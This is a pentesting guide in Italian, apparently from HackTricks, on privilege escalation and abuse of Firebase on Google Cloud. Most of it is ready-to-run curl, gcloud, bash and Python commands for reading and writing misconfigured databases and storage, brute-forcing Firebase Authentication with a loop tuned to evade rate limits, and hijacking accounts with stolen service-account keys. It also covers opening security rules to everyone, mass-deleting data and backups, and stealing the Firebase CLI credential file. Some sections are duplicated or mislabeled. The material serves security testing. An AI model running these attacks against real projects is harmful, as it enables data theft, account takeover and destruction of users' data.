# GCP - Firebase Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Firebase

### Accesso non autenticato a Firebase Realtime Database
Un attaccante non ha bisogno di permessi specifici su Firebase per eseguire questo attacco. È sufficiente che ci sia una configurazione vulnerabile nelle regole di sicurezza di Firebase Realtime Database, dove le regole sono impostate con `.read: true` o `.write: true`, permettendo accesso pubblico in lettura o scrittura.

L'attaccante deve identificare l'URL del database, che solitamente ha il formato: `https://<project-id>.firebaseio.com/`.

Questa URL può essere trovata tramite reverse engineering di applicazioni mobili (decompilazione degli APK Android o analisi delle app iOS), analizzando file di configurazione come google-services.json (Android) o GoogleService-Info.plist (iOS), ispezionando il codice sorgente di applicazioni web, o esaminando il traffico di rete per identificare richieste verso domini `*.firebaseio.com`.

L'attaccante individua l'URL del database e verifica se è esposto pubblicamente, quindi accede ai dati e potenzialmente scrive informazioni dannose.

Per prima cosa, verificano se il database consente l'accesso in lettura aggiungendo .json all'URL.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Se la risposta contiene dati JSON o null (invece di "Permission Denied"), il database consente l'accesso in lettura. Per verificare l'accesso in scrittura, l'attaccante può tentare di inviare una richiesta di scrittura di prova usando la Firebase REST API.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Se l'operazione ha successo, il database consente anche l'accesso in scrittura.


### Esposizione dei dati in Cloud Firestore
Un attaccante non ha bisogno di permessi Firebase specifici per eseguire questo attacco. Richiede solo che ci sia una configurazione vulnerabile nelle regole di sicurezza di Cloud Firestore in cui le regole consentono accesso in lettura o scrittura senza autenticazione o con validazione insufficiente. Un esempio di regola mal configurata che concede accesso completo è:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Questa regola permette a chiunque di leggere e scrivere tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e si applicano per collection e document, quindi un errore in una regola specifica può esporre solo certe collection.

L'attaccante deve identificare il Firebase Project ID, che può essere trovato tramite reverse engineering dell'app mobile, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente di applicazioni web, o analisi del traffico di rete per identificare richieste a firestore.googleapis.com.
La Firestore REST API usa il formato:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Se le regole permettono l'accesso di lettura non autenticato, l'attaccante può leggere collezioni e documenti. Per prima cosa, tenta di accedere a una specifica collezione:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Se la risposta contiene documenti JSON invece di un errore di autorizzazione, la collection è esposta. L'attaccante può enumerare tutte le collection accessibili provando nomi comuni o analizzando la struttura dell'applicazione. Per accedere a un documento specifico:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Se le regole consentono l'accesso in scrittura non autenticato o presentano una validazione insufficiente, l'attaccante può creare nuovi documenti:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Per modificare un documento esistente si deve utilizzare PATCH:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Per eliminare un documento e causare denial of service:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Esposizione di file in Firebase Storage
Un attacker non ha bisogno di permessi specifici di Firebase per eseguire questo attacco. È sufficiente che esista una configurazione vulnerabile nelle Firebase Storage security rules in cui le regole permettono accesso in read o write senza autenticazione o con validazione insufficiente. Le Storage rules controllano i permessi di read e write indipendentemente, quindi un errore in una regola può esporre solo l'accesso in read, solo l'accesso in write, o entrambi. Un esempio di regola mal configurata che concede full access è:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Questa regola consente l'accesso in lettura e scrittura a tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e vengono applicate per collezione e per documento, quindi un errore in una regola specifica può esporre solo determinate collezioni. L'attaccante deve identificare il Firebase Project ID, che può essere trovato tramite il reverse engineering dell'applicazione mobile, l'analisi di file di configurazione come google-services.json o GoogleService-Info.plist, l'ispezione del codice sorgente dell'applicazione web o l'analisi del traffico di rete per individuare richieste a firestore.googleapis.com.
La Firestore REST API usa il formato: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`

Se le regole permettono l'accesso in lettura senza autenticazione, l'attaccante può leggere collezioni e documenti. Per prima cosa tenta di accedere a una collezione specifica.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Se la risposta contiene l'elenco dei file invece di un errore di permessi, il file è esposto. L'attaccante può visualizzare il contenuto dei file specificandone il percorso:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Se le regole consentono unauthenticated write access o presentano una validazione insufficiente, l'attacker può upload malicious files. Per upload di un file tramite la REST API:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
L'attaccante può caricare code shells, malware payloads o file di grandi dimensioni per causare un denial of service. Se l'applicazione elabora o esegue i file caricati, l'attaccante può ottenere remote code execution. Per cancellare file e causare un denial of service:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Invocazione di Firebase Cloud Functions pubbliche
Un attaccante non ha bisogno di permessi Firebase specifici per sfruttare questo problema; è sufficiente che una Cloud Function sia accessibile pubblicamente via HTTP senza autenticazione.

Una funzione è vulnerabile quando è configurata in modo insicuro:

- Usa `functions.https.onRequest`, che non applica l'autenticazione (a differenza delle funzioni `onCall`).
- Il codice della funzione non valida l'autenticazione dell'utente (es. nessun controllo su `request.auth` o `context.auth`).
- La funzione è pubblicamente accessibile in IAM, ovvero `allUsers` ha il ruolo `roles/cloudfunctions.invoker`. Questo è il comportamento predefinito per le funzioni HTTP a meno che lo sviluppatore non restringa l'accesso.

Le Firebase HTTP Cloud Functions vengono esposte tramite URL come:

- `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
- `https://<project-id>.web.app/<function-name>` (quando integrate con Firebase Hosting)

Un attaccante può scoprire questi URL tramite analisi del codice sorgente, ispezione del traffico di rete, strumenti di enumerazione o reverse engineering di app mobile.
Se la funzione è esposta pubblicamente e senza autenticazione, l'attaccante può invocarla direttamente senza credenziali.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
Se la funzione non valida correttamente gli input, l'attaccante può tentare altri attacchi come code injection o command injection.


### Brute-force attack contro Firebase Authentication con una politica di password debole
Un attaccante non ha bisogno di permessi specifici su Firebase per eseguire questo attacco. Richiede solamente che la Firebase API Key sia esposta in applicazioni mobile o web, e che la password policy non sia stata configurata con requisiti più stringenti rispetto ai valori di default.

L'attaccante deve identificare la Firebase API Key, che può essere trovata tramite mobile app reverse engineering, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente di applicazioni web (es. in bootstrap.js), o analizzando il traffico di rete.

La REST API di Firebase Authentication utilizza l'endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
per autenticare con email e password.

Se Email Enumeration Protection è disabilitato, le risposte di errore dell'API possono rivelare se un'email esiste nel sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), il che permette agli attacker di enumerate users prima di tentare il password guessing. Quando questa protection è abilitata, l'API restituisce lo stesso messaggio di errore sia per email inesistenti sia per password errate, impedendo la user enumeration.

È importante notare che Firebase Authentication applica rate limiting, che può bloccare le richieste se si verificano troppi tentativi di autenticazione in un breve periodo. Per questo motivo, un attaccante dovrebbe introdurre dei ritardi tra i tentativi per evitare di essere rate-limited.

L'attaccante identifica la API Key ed effettua tentativi di autenticazione con più password contro account noti. Se Email Enumeration Protection è disabilitato, l'attaccante può enumerate existing users analizzando le risposte di errore:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
Se la risposta contiene EMAIL_NOT_FOUND, l'email non esiste nel sistema. Se contiene INVALID_PASSWORD, l'email esiste ma la password è errata, confermando che l'utente è registrato. Una volta identificato un utente valido, l'attaccante può eseguire tentativi di brute-force. È importante inserire delle pause tra i tentativi per evitare i meccanismi di rate-limiting di Firebase Authentication:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
Con la policy di password predefinita (minimo 6 caratteri, senza requisiti di complessità), l'attaccante può provare tutte le possibili combinazioni di password di 6 caratteri, il che rappresenta uno spazio di ricerca relativamente piccolo rispetto a policy di password più severe.

### Gestione utenti in Firebase Authentication

L'attaccante necessita di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono:

- `firebaseauth.users.create` per creare utenti
- `firebaseauth.users.update` per modificare utenti esistenti
- `firebaseauth.users.delete` per eliminare utenti
- `firebaseauth.users.get` per recuperare informazioni sugli utenti
- `firebaseauth.users.sendEmail` per inviare email agli utenti
- `firebaseauth.users.createSession` per creare sessioni utente

Questi permessi sono inclusi nel ruolo `roles/firebaseauth.admin`, che concede accesso in lettura/scrittura completo alle risorse di Firebase Authentication. Sono inoltre inclusi in ruoli di livello superiore come roles/firebase.developAdmin (che include tutti i permessi firebaseauth.*) e roles/firebase.admin (accesso completo a tutti i servizi Firebase).

Per usare il Firebase Admin SDK, l'attaccante avrebbe bisogno dell'accesso alle credenziali del service account (file JSON), che potrebbero essere reperite su sistemi compromessi, repository di codice esposti pubblicamente, sistemi CI/CD compromessi o tramite la compromissione di account sviluppatore che hanno accesso a queste credenziali.

Il primo passo è configurare il Firebase Admin SDK usando le credenziali del service account.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Per creare un utente malevolo utilizzando l'email di una vittima, l'attaccante cercherebbe di usare il Firebase Admin SDK per generare un nuovo account con quell'email.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Per modificare un utente esistente, l'attaccante aggiornerebbe campi come l'indirizzo email, lo stato di verifica o se l'account è disabilitato.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Per eliminare un account utente e causare un denial of service, l'attaccante invierebbe una richiesta per rimuovere completamente l'utente.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
L'attaccante può anche ottenere informazioni sugli utenti esistenti richiedendo il loro UID o indirizzo email.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Inoltre, l'attacker potrebbe generare verification links o password-reset links per cambiare la password di un user e ottenere l'accesso al suo account.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Gestione degli utenti in Firebase Authentication
Un attaccante necessita di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono:

- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to obtain user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions

Questi permessi sono inclusi nel ruolo roles/firebaseauth.admin, che garantisce accesso completo in lettura/scrittura alle risorse di Firebase Authentication. Fanno anche parte di ruoli più alti come `roles/firebase.developAdmin` (che include tutti i permessi firebaseauth.*) e `roles/firebase.admin` (accesso completo a tutti i servizi Firebase).

Per usare il Firebase Admin SDK, l'attaccante avrebbe bisogno di accesso alle credenziali dell'account di servizio (un file JSON), che potrebbero essere ottenute da sistemi compromessi, repository di codice pubblicamente esposti, ambienti CI/CD compromessi, o tramite la compromissione di account di sviluppatori che hanno accesso a queste credenziali.

Il primo passo è configurare il Firebase Admin SDK usando le credenziali dell'account di servizio.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Per creare un account utente malevolo usando l'email della vittima, l'attaccante tenterebbe di creare un nuovo account con quell'email, assegnando una password controllata dall'attaccante e le informazioni del profilo.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Per modificare un utente esistente, l'attaccante cambierebbe campi come l'indirizzo email, lo stato di verifica o se l'account è disabilitato.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Per eliminare un account utente—causando di fatto un denial of service—l'attaccante invierebbe una richiesta per rimuovere definitivamente quell'utente.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
L'attaccante potrebbe anche recuperare informazioni sugli utenti esistenti, come il loro UID o email, richiedendo i dettagli dell'utente sia tramite UID che tramite indirizzo email.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Inoltre, l'attaccante potrebbe generare link di verifica o link per il password-reset, permettendogli di cambiare la password di un utente e prendere il controllo dell'account.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Modifica delle regole di sicurezza nei servizi Firebase
L'attaccante necessita di permessi specifici per modificare le regole di sicurezza a seconda del servizio. Per Cloud Firestore e Firebase Cloud Storage, i permessi richiesti sono `firebaserules.rulesets.create` per creare ruleset e `firebaserules.releases.create` per distribuire release. Questi permessi sono inclusi nel ruolo `roles/firebaserules.admin` o in ruoli di livello superiore come `roles/firebase.developAdmin` e `roles/firebase.admin`. Per Firebase Realtime Database, il permesso richiesto è `firebasedatabase.instances.update`.

L'attaccante deve usare la Firebase REST API per modificare le regole di sicurezza.
Prima, l'attaccante dovrebbe ottenere un token di accesso usando le credenziali dell'account di servizio.
Per ottenere il token:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Per modificare le regole di Firebase Realtime Database:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Per modificare le Cloud Firestore rules, l'attacker deve creare un ruleset e poi eseguire il deploy:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'
```
Il comando precedente restituisce un nome di ruleset nel formato projects/<project-id>/rulesets/<ruleset-id>. Per distribuire la nuova versione, la release deve essere aggiornata usando una richiesta PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Per modificare le regole di Firebase Cloud Storage:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'
```
Il comando precedente restituisce un nome di ruleset nel formato projects/<project-id>/rulesets/<ruleset-id>. Per distribuire la nuova versione, il rilascio deve essere aggiornato usando una richiesta PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Esfiltrazione e manipolazione dei dati in Cloud Firestore
Cloud Firestore usa la stessa infrastruttura e sistema di permessi di Cloud Datastore, quindi i permessi IAM di Datastore si applicano direttamente a Firestore. Per manipolare le TTL policy è richiesto il permesso `datastore.indexes.update`. Per esportare i dati è richiesto il permesso `datastore.databases.export`. Per importare i dati, è richiesto il permesso datastore.databases.import. Per eseguire la cancellazione di massa dei dati è richiesto il permesso `datastore.databases.bulkDelete`.

Per le operazioni di backup e restore sono necessari permessi specifici:

- `datastore.backups.get` e `datastore.backups.list` per elencare e recuperare i dettagli dei backup disponibili
- `datastore.backups.delete` per eliminare i backup
- `datastore.backups.restoreDatabase` per ripristinare un database da un backup
- `datastore.backupSchedules.create` e `datastore.backupSchedules.delete` per gestire le schedulazioni di backup

Quando viene creata una TTL policy, viene selezionata una proprietà designata per identificare le entità idonee alla cancellazione. Questa proprietà TTL deve essere di tipo Date and time. L'attaccante può scegliere una proprietà già esistente o designarne una che intende aggiungere in seguito. Se il valore del campo è una data nel passato, il documento diventa idoneo alla cancellazione immediata. L'attaccante può usare la gcloud CLI per manipolare le TTL policy.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Per esportare dati e esfiltrarli, l'attaccante potrebbe usare gcloud CLI.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Per importare dati dannosi:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Per eseguire l'eliminazione massiva di dati e causare una denial of service, l'attaccante potrebbe usare lo strumento gcloud Firestore bulk-delete per rimuovere intere collections.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Per le operazioni di backup e ripristino, l'attaccante potrebbe creare backup pianificati per catturare lo stato attuale del database, elencare i backup esistenti, ripristinare da un backup per sovrascrivere le modifiche recenti, eliminare backup per causare perdita permanente di dati e rimuovere backup pianificati.
Per creare una pianificazione di backup giornaliera che generi immediatamente un backup:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Per ripristinare da uno specifico backup, l'attaccante potrebbe creare un nuovo database usando i dati contenuti in quel backup. L'operazione di ripristino scrive i dati del backup in un nuovo database, il che significa che non si può usare un DATABASE_ID esistente.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Per eliminare un backup e causare la perdita permanente dei dati:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Furto e uso improprio delle credenziali Firebase CLI
Un attacker non necessita di permessi specifici su Firebase per eseguire questo attacco, ma deve avere accesso al sistema locale dello sviluppatore o al file delle credenziali di Firebase CLI. Queste credenziali sono memorizzate in un file JSON situato in:

- Linux/macOS: ~/.config/configstore/firebase-tools.json

- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json

Questo file contiene token di autenticazione, inclusi refresh_token e access_token, che permettono all'attacker di autenticarsi come l'utente che ha eseguito originariamente firebase login.

L'attacker ottiene l'accesso al file delle credenziali di Firebase CLI. Può quindi copiare l'intero file nel proprio sistema, e la Firebase CLI utilizzerà automaticamente le credenziali dalla sua posizione predefinita. Dopo averlo fatto, l'attacker può visualizzare tutti i progetti Firebase accessibili a quell'utente.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
